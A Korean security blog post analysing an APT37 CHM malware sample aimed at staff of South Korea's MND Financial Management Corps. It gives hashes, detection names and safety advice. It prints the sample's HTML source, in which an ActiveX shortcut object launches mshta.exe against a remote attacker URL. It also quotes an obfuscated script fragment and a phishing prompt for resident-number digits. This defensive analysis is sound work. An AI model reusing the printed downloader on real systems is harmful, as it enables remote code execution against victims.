꿈을꾸는 파랑새

오늘은 북한 해킹 단체 APT37 에서 만든 악성코드인 국군재정관리단.chm(2023.11.21)에 대해 글을 적어보겠습니다.
APT37은 북한의 해킹조직 중 하나로 레드아이즈(Red Eyes), 금성 121(Group123),리퍼(Reaper) 등으로 불리고 있은 북한 해킹 단체 이면 해당 국군재정관리단.chm(2023.11.21)은 국군재정관리단(國軍財政管理團,MND Financial Management Corps)에서 근무를 하고 있는 분들을 대상으로 하는 악성코드인 것 같습니다. 국군재정관리단은
대한민국 국군의 부대로 국군의 재정을 관리하는 부대이며 국방부 직할 부대이며 주로 처리하는 업무는 50만 군인들의 급여와 직업군인 대상의 군인연금 지급 곳이며 그 외에 국방부에서 맡는 계약업무 등도 처리하는 곳입니다. 아마도 돈 하고 관련이 되지 않았을까 하는 생각을 아는 악성코드입니다.
먼저 악성코드 해쉬값은 다음과 같습니다.
파일명:국군재정관리단.chm
사이즈:63.8 KB
MD5:a372e8dfd1940ef4f9e74095a8bf3bd7
SHA-1:e73d679ca6314946072c41dcbbf59dc628234442
SHA-256:3d2738ff73af2bc88cb9c396b31f6991177cd869f9ca7ab44203f3721b98f8c2
이며 해당 악성코드를 실행하면 특정 주소로 연결하게 구성이 돼 있으며 HTTP Debugger Pro를 보거나 해당 악성코드의 Start(.)html 웹소스를 보면 해당 악성코드가 접속을 시도하는 주소를 확인할 수가 있습니다.

국군재정관리단 악성코드 실행
국군재정관리단 악성코드 실행

최종적으로 접속하는 주소

http://attiferstudio(.)com/install(.)bak/sony/8(.)html

입니다.
해당 HTML 파일에 숨겨져 있는 코드는 다음과 같습니다.

Start.html 웹소스
Start.html 웹소스

<HTML>
<TITLE>  국군재정관리단  </TITLE>
<HEAD>
</HEAD>
<BODY>
<H1 align=center>   국군재정관리단 </h1>
<br>
<OBJECT id=x classid="clsid:adb880a6(-)d8ff(-)11cf(-)9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap:(:)shortcut">
<PARAM name="Item1" value=",mshta(.)exe,http://attiferstudio(.)com/
install(.)bak/sony/8(.)html ,">
<PARAM name="Item2" value="273,1(,)1">
</OBJECT>
<script>
x.Clic(k)();
location.(h)ref="Main(.)html";
</SCRIPT>
</BODY>
</HTML>

코드 설명

1.<TITLE> 국군재정관리단 </TITLE>:웹 페이지의 제목을 정의 브라우저 탭에 표시
2.<HEAD>: HTML 문서의 헤더를 정의 문서와 관련된 메타데이터 및 스크립트가 위치를 파악을 할수가 있습니다.
3.<BODY>:HTML 문서의 본문을 정의합 웹 페이지의 실제 내용이 들어갑니다.
4.<H1 align=center> 국군재정관리단 </h1>:웹 페이지에 제목을 나타내는 제목 1(Heading 1) 태그 align=center 속성을 통해서 텍스트를 가운데 정렬
5.<OBJECT>:객체를 정의하는 태그 주로 다양한 멀티미디어나 플러그인 등을 삽입할 때 사용
id=x:해당 객체의 식별자를 x로 지정
classid="clsid:adb880a6(-)d8ff(-)11cf(-)9377(-)00aa003b7a11:클래스 식별자 특정 컨트롤의 유형을 지정
name="Item1" value=",mshta(.)exe,hxxp://attiferstudio(.)com/install(.)bak/sony/8(.)html: 객체에서 실행될 명령어를 정의
name="Item2" value="273,1,1"`:객체에서 사용될 추가적인 매개변수를 설정
6.<script>:자바스크립트 코드를 시작하는 태그
x.Cli(c)k();: 객체 x를 클릭하는 자바스크립트 코드
location.href="Main.html";:현재 창의 위치를 Main(.)html로 변경하는 자바스크립트 코드
해당 코드는 자바스크립트를 사용하여 객체를 클릭하고 클릭 이후에는 Main(.)html 페이지로 이동하게 하고 
중요한 점은 <OBJECT> 요소가 특정 URL에서 스크립트를 로드 하는데 사용되고 있음
그리고 최종적으로 Main(.)html를 실행을 하면 다음과 같은 화면이 나타는것을 확인을 할수가 있습니다.

Main.html 웹 소스
Main.html 웹 소스

주민등록번호 앞 6자리를 입력하세요.
본 메일은 암호화되어 있어 생년월일 6자리를 입력 후 클릭하시면 원문을 보실 수 있습니다.
생년월일을 입력을 요구합니다.
물론 해당 부분에 입력해도 보안 메일의 비밀번호가 일치하지 않습니다. 이라는 메시지를 볼 수가 있습니다.

악성코드 국군재정관리단 Main.html 내용
악성코드 국군재정관리단 Main.html 내용

예를 들어서 해당 코드 일부를 보면 다음과 같이 되는 것을 확인할 수가 있습니다.

ar _0x11db = ["str2bin", "bin2s(t)r", "hex(2)bin", "bin(2)hex", 
"encode64", "decode64", "UTF8Decode", "UTF8Encode", "insertJS",
"length", "cha(r)At", "", "fr(o)mCharCode", "0x", "indexOf", "0X",
"substring", "replace", "floor", "slice", "0", "ABCDEFGHIJKLMNOPQRSTUVWXY
Zab(c)defghijklmno(p)qrstuvwxyz0123456789+/=", "charAt", "split",
"join", "=", "\n", "head", "getElem(e)ntsByTagName", "script", "src", "=",
"head", "appendC(h)ild", "ho(s)tname", "loca(t)ion", "p(r)otocol", "p(a)thname",
"search", "hash", "0", "AB(C)DEF", "abc(d)ef", "0123456(7)89ABCDEF", "0123456(7)89abcdef",
디코딩 및 해석
var decodedStrings = _0x11db(.)map(function(str) {
    return unescape(str(.)replace(/\\x/g, '%'));
});

결과 출력
console.log(decodedStrings(.)join('\(n)'));
물론 UniSafeMail 이라고 되어져 있는 것을 사용자를 속이기 위한 용도로 파악할 수가 있을 것 같습니다.
보통은 대북 관계자를 타겟으로 하고 있는데 이번은 직접적으로 국방부 직할인 국군재정관리단인 것을 보면 아마도 돈 이 목적이거나 아니면 해당 국군재정관리단에 근무하는 사람을 타겟으로 해서 더 직할 부대 전체를 노리려고 목적이 아닐까 생각이 됩니다. 일단 해당 접속을 하는 사이트가 404 에러가 나오기 때문에 해당 부분에서 악성코드를 직접 다운로드 및 실행을 하는지 확인을 할 수가 없으나 2023.11.28 기준으로 바이러스토탈에서 탐지 하고 있다고 하는 보안 업체들은 다음과 같습니다.

최종 접속 사이트 정보
최종 접속 사이트 정보

AhnLab-V3:Trojan/CHM.Agent
ALYac:Trojan.Downloader.CHM
Antiy-AVL:Trojan/HTML.Agent
Arcabit:Trojan.Generic.D433E993
Avast:Other:Malware-gen [Trj]
AVG:Other:Malware-gen [Trj]
BitDefender:Trojan.GenericKD.70510995
DrWeb:JS.DownLoader.6195
Emsisoft:Trojan.GenericKD.70510995 (B)
eScan:Trojan.GenericKD.70510995
ESET-NOD32:HTML/Agent.FY
Fortinet:HTML/Agent.FY!tr
GData:HTML.Trojan-Downloader.HTARun.A
Google:Detected
Ikarus:Trojan-Downloader.HTML.Agent
Kaspersky:UDS:DangerousObject.Multi.Generic
Kingsoft:Win32.Troj.Undef.a
Lionic:Trojan.HTML.Generic.4!c
MAX:Malware (ai Score=87)
QuickHeal:CHM.M.ScarCruft.Trojan.47762
Rising:Trojan.MouseJack/HTML!1.BE26 (CLASSIC)
Sangfor Engine Zero:Trojan.Generic-Script.Save.f8c288c6
Skyhigh (SWG):Artemis!Trojan
Sophos:Troj/HTMLDl-XN
Symantec:Downloader
Tencent:Script.Trojan-Downloader.Agent.Qgil
Trellix (FireEye):Trojan.GenericKD.70510995
TrendMicro:Trojan.HTML.PHISH.QURAAOOITB
TrendMicro-HouseCall:Trojan.HTML.PHISH.QURAAOOITB
Varist:URL/Downldr.DI.gen!Eldorado
VIPRE:Trojan.GenericKD.70510995
ViRobot:CHM.S.Downloader.65395
ZoneAlarm by Check Point:HEUR:Trojan-Downloader.Script.Agent.gen
일단 독일 보안 업체인 Avira에서 탐지를 하고 있지 않아서 일단 해당 보안 업체에 악성코드 샘플을 보냈습니다. 항상 이야기하지만, AV-TEST에서 인증받은 보안 업체 제품을 사용하는 것을 추천합니다.

그리고 백신 프로그램이 설치돼 있어도 100% 탐지 못 하는 일도 있으니 항상 주의하면서 사용을 하는 것을 추천하면 그리고 북한 해킹 단체들은 북한 이탈 주민(탈북민), 인권 운동가, 대학교수, 방송국 등 이외에도 아름답게 네이버, 카카오 등의 피싱 메일 그리고 기타 악성코드를 만들어서 한국의 국민의 대상으로 유포하고 있기 때문에 항상 주의가 필요합니다.

공유하기

facebook twitter kakaoTalk kakaostory naver band